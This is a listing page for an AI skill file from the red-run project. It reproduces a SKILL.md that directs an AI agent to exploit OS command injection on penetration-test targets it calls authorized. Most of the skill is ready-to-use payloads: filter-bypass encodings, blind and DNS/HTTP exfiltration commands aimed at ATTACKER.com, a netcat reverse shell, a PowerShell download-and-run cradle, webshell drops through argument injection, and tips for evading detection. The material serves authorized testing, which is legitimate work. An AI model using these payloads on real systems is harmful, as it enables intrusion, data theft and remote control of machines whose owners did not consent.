Command Injection logo

Command Injection

Organization
blacklanternsecurity
command-injection

Guide OS command injection exploitation during authorized penetration testing.

Overview

Publisherblacklanternsecurity
Repositoryred-run
Skill namecommand-injection
Stars
276
Forks
39
Bundled files
Instructions only
LicenseGPL-3.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by blacklanternsecurity on GitHub. Read the source before you install it.

Installation

Install the Command Injection AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/web/command-injection .claude/skills/command-injection
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Command Injection in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Command Injection on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Command Injection is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

OS Command Injection

You are helping a penetration tester exploit OS command injection. The target application passes user-controlled input to a system shell command without proper sanitization. The goal is to execute arbitrary commands on the underlying operating system. All testing is under explicit written authorization.

Not Python eval()/exec() injection. This skill covers injection into OS shell commands (bash, cmd.exe, PowerShell) via operators like ;, |, &&, backticks, and $(). If the injection context is a Python eval() or exec() call — where you need to write Python expressions, not shell commands — route to python-code-injection instead. Key indicator: shell operators (;id, |id) don't work, but Python expressions (__import__('os').popen('id')) do.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [command-injection] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • An input that gets processed by a system command (URL param, form field, header, filename, API parameter)
  • Common vulnerable patterns: ping/traceroute utilities, DNS lookups, file operations, PDF generators, image processors, email sending, network tools

Step 1: Assess

If not already provided, determine:

  1. Platform — Linux or Windows (try both id and whoami)
  2. Injection context — unquoted, single-quoted, double-quoted, or backtick
  3. Injection point — which parameter, GET/POST/header/filename
  4. Visible or blind — is command output reflected in the response?

Skip if context was already provided.

Step 2: Injection Operators

Try these operators to chain a second command. Test with a known-output command (id on Linux, whoami on Windows) or a time delay (sleep 5, ping -c 5 127.0.0.1).

Linux

PayloadBehavior
; idSequential execution (always runs)
`id`
`
&& idRuns id only if first command succeeds
& idBackground first command, run id
`id`Command substitution (backticks)
$(id)Command substitution (modern)
%0a idNewline injection

Windows

PayloadBehavior
& whoamiRun both commands
&& whoamiRun whoami if first succeeds
`
`whoami`
%0a whoamiNewline injection
%1a whoamiSubstitute character (sometimes works)

Context-Aware Injection

If the input is placed inside quotes in the shell command:

bash
# Inside double quotes — break out:
"; id; echo "
" | id; echo "
"$(id)"

# Inside single quotes — cannot use $() or backticks:
'; id; echo '

# Inside backticks — close and inject:
`; id; echo `

Polyglot Payloads

Work across multiple quoting contexts (unquoted, single-quoted, double-quoted):

bash
# Time-based polyglot
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

# Comprehensive polyglot
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Step 3: Filter Bypass

Bypass Space Filters

bash
# ${IFS} — most reliable
cat${IFS}/etc/passwd
ls${IFS}-la

# Brace expansion
{cat,/etc/passwd}
{ls,-la,/tmp}

# Tab character (URL-encode as %09)
;cat%09/etc/passwd

# Input redirection
cat</etc/passwd

# ANSI-C quoting
X=$'cat\x20/etc/passwd'&&$X

Bypass Command Blacklists

bash
# Quote splitting — insert empty quotes anywhere in the command
w'h'o'am'i
w"h"o"am"i
/b'i'n/c'a't /e't'c/p'a's's'w'd

# Backslash escaping
w\ho\am\i
c\at /e\tc/p\as\sw\d
/\b\i\n/\s\h

# Empty variable expansion
who$@ami
who${x}ami
cat$u /etc$u/passwd$u

# Empty command substitution
who$()ami
who``ami

# Variable concatenation
a=who;b=ami;$a$b
a=c;b=at;c=/etc/passwd;$a$b $c

Bypass Character Restrictions

bash
# Hex encoding
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
X=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $X

# Octal encoding
cat `printf '\57\145\164\143\57\160\141\163\163\167\144'`

# xxd for hex decoding
cat `xxd -r -ps <(echo 2f6574632f706173737764)`

# Base64 encoding
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)

# Build slash from env variable
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat ${PATH:0:1}etc${PATH:0:1}passwd

Wildcard-Based Bypass

When specific commands or paths are blacklisted:

bash
# /bin/cat /etc/passwd via wildcards
/???/??t /???/p??s??

# /bin/nc with wildcard
/???/n? -e /???/s? attacker.com 4444

# Globbing alternatives
/bi[n]/cat /etc/pa[s]swd
/bin/ca? /etc/passw?

Newline and Whitespace Injection

bash
# URL-encoded newline (most commonly missed by filters)
%0aid
%0awhoami

# CRLF
%0d%0aid

# Backslash-newline continuation (split command across lines)
cat /et\
c/pa\
sswd
# URL-encoded: cat%20/et%5C%0Ac/pa%5C%0Asswd

Step 4: Blind Command Injection

When command output is not reflected in the response.

Time-Based Detection

bash
# Linux
; sleep 5
| sleep 5
& sleep 5
`sleep 5`
$(sleep 5)

# Windows
& ping -n 6 127.0.0.1 &
& timeout /t 5 &

# With ${IFS} for space bypass
;sleep${IFS}5

If a 5-second delay is observed, injection is confirmed.

Time-Based Data Exfiltration

Extract data character by character using conditional sleeps:

bash
# Extract first character of whoami output
if [ $(whoami | cut -c 1) == "r" ]; then sleep 5; fi

# Extract Nth character
if [ $(whoami | cut -c 2) == "o" ]; then sleep 5; fi

# Binary search for faster extraction
if [ $(cat /etc/passwd | head -1 | cut -c 1 | od -An -td1 | tr -d ' ') -gt 100 ]; then sleep 5; fi

DNS-Based Exfiltration (OOB)

Faster than time-based. Requires a DNS callback server (interactsh, Burp Collaborator, dnsbin.zhack.ca).

bash
# Exfiltrate command output via DNS
$(host $(whoami).ATTACKER.com)
$(dig $(whoami).ATTACKER.com)
$(ping -c1 $(whoami).ATTACKER.com)

# Exfiltrate file listing
for i in $(ls /); do host "$i.ATTACKER.com"; done

# Exfiltrate file contents (base32 to avoid DNS char restrictions)
$(cat /etc/hostname | base32 | tr -d '=' | nslookup -.ATTACKER.com)

# curl/wget OOB
$(curl http://ATTACKER.com/$(whoami))
$(wget http://ATTACKER.com/$(id|base64) -O /dev/null)

File-Based Exfiltration

Write output to a web-accessible file:

bash
# Write to webroot
; id > /var/www/html/output.txt
; cat /etc/passwd > /var/www/html/out.txt

# Then retrieve via HTTP
curl http://TARGET/output.txt

Step 5: Argument Injection

When shell metacharacters (;, |, etc.) are properly escaped but the input is used as an argument to a program. Inject flags/options instead.

Common Vectors

bash
# curl — write to arbitrary file
--output /tmp/shell.php -O http://attacker.com/shell.php

# wget — write to arbitrary file
-O /tmp/shell.php http://attacker.com/shell.php

# ssh — proxy command execution
-oProxyCommand="id > /tmp/proof"

# tar — checkpoint action
--checkpoint=1 --checkpoint-action=exec=id

# find — exec action (if input is used in -name or -path)
-name "x" -exec id \;

# rsync — script execution
-e 'sh -c id' .

# sendmail — write to file
-OQueueDirectory=/tmp -X/var/www/html/shell.php

Fullwidth Character Bypass

Some sanitization functions (PHP escapeshellarg) can be bypassed with Unicode fullwidth characters that get normalized by the shell:

" --use-askpass=calc "    # U+FF02 instead of regular double quote

Step 6: Windows-Specific Techniques

Case Insensitivity

Windows commands are case-insensitive — use case randomization to bypass filters:

cmd
WhOaMi
wHoAmI

Variable Substring Bypass

cmd
# Space from environment variable
ping%CommonProgramFiles:~10,-18%127.0.0.1

# Build commands from substrings
set a=who&set b=ami&call %a%%b%

PowerShell Injection

powershell
# If input reaches PowerShell
; Invoke-Expression "whoami"
| IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')

Caret Escaping

Windows cmd.exe treats ^ as an escape character:

cmd
w^h^o^a^m^i
n^e^t u^s^e^r

Step 7: Application-Feature Command Execution

When you have admin/superadmin access to a web application, look for legitimate features that execute system commands — these aren't injection bugs, they're intended functionality you can abuse.

Common patterns:

  • Filter/rule systems with execute actions — monitoring tools (Nagios, Zabbix, Icinga), CI/CD systems, SIEM platforms. Look for fields named "execute command", "run script", "action command", "notification command". These often run via background daemons (cron-like), not inline — you may need to wait for the daemon cycle or trigger an event.
  • Scheduled tasks / cron features — CMS platforms, admin panels, backup tools. Create or edit a scheduled job with a reverse shell payload.
  • Plugin/extension installation — WordPress, Joomla, Grafana. Upload a malicious plugin ZIP containing a webshell or reverse shell.
  • Template/theme editing — CMS template editors that write PHP/Python/Ruby directly to disk. Edit a template to include command execution.
  • Backup/restore with code execution — restore a crafted backup containing a webshell or modified config that executes commands.
  • Notification/webhook systems — set a command-based notification triggered by an event you can create.

Key difference from injection: You're not breaking out of a command — you're providing the entire command to a feature designed to run it. No operators or escaping needed, just a valid shell command.

Trigger mechanisms: Background daemon features (filters, notifications) may require an event to fire. Check how to create or simulate the triggering condition (create a matching record, force an alarm, trigger a threshold).

Step 8: Escalate or Pivot

Credential-Based Access Handoff

When command injection reveals credentials (.env files, config files, SSH keys, database connection strings), do NOT attempt to use them programmatically from the injection context:

  • Do NOT try sshpass, SSH key injection, or automated SSH from injection
  • Do NOT spend turns debugging interactive authentication workarounds

Instead, immediately write a handoff script for the operator:

  1. Save discovered credentials to engagement/evidence/
  2. Write connection commands the operator can run
  3. Report in your return summary: credentials and Pivot Map entry
  4. Tell the operator: "Credentials found. SSH handoff ready — connect from your terminal."

The operator establishes the interactive session. The orchestrator or operator decides the next skill to invoke.

OPSEC Notes

  • Commands execute as OS processes — visible in ps, /proc, process monitors
  • Shell operators (;, |, &&) appear in web server access logs
  • DNS exfiltration generates DNS queries visible to network monitoring
  • Time-based payloads (sleep) are slow but stealthy
  • %0a (newline) injection is less commonly filtered and logged than ; or |
  • Long-running commands may trigger process monitoring alerts — use nohup and background with &
  • Cleanup: remove any files written to disk (webshells, output files)

Troubleshooting

No Operator Works

  • Try all operators systematically: ;, |, ||, &&, &, %0a, $(...), backticks
  • Check if you're inside quotes — break out first (", ')
  • Try URL-encoded newline %0a — most commonly missed by filters
  • Check for argument injection instead (inject flags, not commands)
  • The application may not use a shell at all (e.g., execFile() in Node.js instead of exec()) — argument injection is the only option

Space Is Filtered

Priority order:

  1. ${IFS} — works in bash/sh, most reliable
  2. %09 (tab) — works in most shells
  3. {command,arg1,arg2} — brace expansion (bash only)
  4. < (input redirection) — for file reading
  5. $'\x20' — ANSI-C quoting

Command Name Is Blacklisted

Priority order:

  1. Quote splitting: c'a't, w"h"o"a"m"i"
  2. Backslash: c\at, w\hoam\i
  3. Variable expansion: a=c;b=at;$a$b
  4. Wildcards: /???/??t matches /bin/cat
  5. Base64: echo Y2F0 | base64 -dcat
  6. Hex: echo -e "\x63\x61\x74"cat

Blind Injection — Can't Confirm

  1. Start with time-based: ; sleep 5 — compare response times
  2. If sleep is blocked, try ping -c 5 127.0.0.1 (5-second delay)
  3. If time-based is unreliable, use OOB: $(curl http://ATTACKER/test)
  4. If no outbound HTTP, try DNS: $(host test.ATTACKER.com)
  5. If completely isolated, try file write: ; id > /tmp/test.txt and include via LFI

Automated Tools

bash
# commix — automated command injection
python commix.py -u "http://TARGET/page?ip=127.0.0.1" --batch

# commix with POST data
python commix.py -u "http://TARGET/page" --data="ip=127.0.0.1" --batch

# commix OS shell
python commix.py -u "http://TARGET/page?ip=127.0.0.1" --os-shell

# With specific technique
python commix.py -u "http://TARGET/page?ip=127.0.0.1" -t time-based

Frequently asked questions

What does the Command Injection AI skill do?

Guide OS command injection exploitation during authorized penetration testing.

Why use Command Injection on TypingMind?

Because you install it once and use it with any model. Command Injection is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Command Injection in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/command-injection. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Command Injection?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Command Injection?

As many as you like. As long as a model supports skills, you can use Command Injection with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Command Injection AI skill free?

Yes. It is published on GitHub by blacklanternsecurity under the GPL-3.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇